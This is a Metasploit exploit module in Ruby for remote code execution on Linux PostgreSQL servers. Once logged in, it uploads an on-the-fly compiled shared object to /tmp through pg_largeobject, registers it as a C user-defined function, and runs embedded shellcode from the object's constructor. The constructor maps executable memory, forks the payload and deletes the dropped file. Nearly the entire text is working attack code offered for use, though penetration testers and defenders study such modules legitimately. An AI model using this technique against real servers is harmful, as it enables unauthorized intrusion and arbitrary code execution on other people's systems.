PostgreSQL for Linux Payload Execution

###
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Postgres
	include Msf::Auxiliary::Report

	# Creates an instance of this module.
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PostgreSQL for Linux Payload Execution',
			'Description'    => %q{
				On some default Linux installations of PostgreSQL, the
				postgres service account may write to the /tmp directory, and
				may source UDF Shared Libraries's from there as well, allowing
				execution of arbitrary code.

				This module compiles a Linux shared object file, uploads it to
				the target host via the UPDATE pg_largeobject method of binary
				injection, and creates a UDF (user defined function) from that
				shared object. Because the payload is run as the shared object's
				constructor, it does not need to conform to specific Postgres
				API versions.
			},
			'Author'         =>
			[
				'midnitesnake', # this Metasploit module
				'egypt',        # on-the-fly compiled .so technique
				'todb'          # original windows module this is based on
			],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
				],
			'Platform'       => 'linux',
			'Payload'        =>
				{
					'Space'    => 65535,
					'DisableNops'  => true,
				},
			'Targets'        =>
				[
					[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
					[ 'Linux x86_64',    { 'Arch' => ARCH_X86_64 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 05 2007'

			))

		deregister_options('SQL', 'RETURN_ROWSET')
	end

	# Buncha stuff to make typing easier.
	def username; datastore['USERNAME']; end
	def password; datastore['PASSWORD']; end
	def database; datastore['DATABASE']; end
	def rhost; datastore['rhost']; end
	def rport; datastore['rport']; end
	def verbose; datastore['VERBOSE']; end
	def bits; datastore['BITS'];end

	def execute_command(cmd, opts)
		postgres_sys_exec(cmd)
	end

	def exploit
		version = do_login(username,password,database)
		case version
		when :noauth; print_error "Authentication failed."; return
		when :noconn; print_error "Connection failed."; return
		else
			print_status("#{rhost}:#{rport} - #{version}")
		end

		fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
		tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

		unless tbl && fld && so && oid
			print_error "Could not upload the UDF SO"
			return
		end

		print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
		begin
			func_name = Rex::Text.rand_text_alpha(10)
			postgres_query(
				"create or replace function pg_temp.#{func_name}()"+
				" returns void as '#{so}','#{func_name}'"+
				" language 'C' strict immutable"
			)
		rescue
		end
		postgres_logout if @postgres_conn

	end


	# Authenticate to the postgres server.
	#
	# Returns the version from #postgres_fingerprint
	def do_login(user=nil,pass=nil,database=nil)
		begin
			password = pass || postgres_password
			vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
			result = postgres_fingerprint(
				:db => database,
				:username => user,
				:password => password
			)
			if result[:auth]
				report_service(
					:host => rhost,
					:port => rport,
					:name => "postgres",
					:info => result.values.first
				)
				return result[:auth]
			else
				return :noauth
			end
		rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
			return :noconn
		end
	end


	def payload_so(filename)
		shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
		#shellcode = "\\xcc"

		c = %Q^
			int _exit(int);
			int printf(const char*, ...);
			int perror(const char*);
			void *mmap(int, int, int, int, int, int);
			void *memcpy(void *, const void *, int);
			int mprotect(void *, int, int);
			int fork();
			int unlink(const char *pathname);

			#define MAP_PRIVATE 2
			#define MAP_ANONYMOUS 32
			#define PROT_READ 1
			#define PROT_WRITE 2
			#define PROT_EXEC 4

			#define PAGESIZE 0x1000

			char shellcode[] = "#{shellcode}";

			void run_payload(void) __attribute__((constructor));

			void run_payload(void)
			{
				int (*fp)();
				fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

				memcpy(fp, shellcode, sizeof(shellcode));
				if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
					_exit(1);
				}
				if (!fork()) {
					fp();
				}

				unlink("#{filename}");
				return;
			}

		^

		cpu = case target_arch.first
			when ARCH_X86; Metasm::Ia32.new
			when ARCH_X86_64; Metasm::X86_64.new
			end
		payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

		so_file = payload_so.encode_string(:lib)

		so_file
	end
end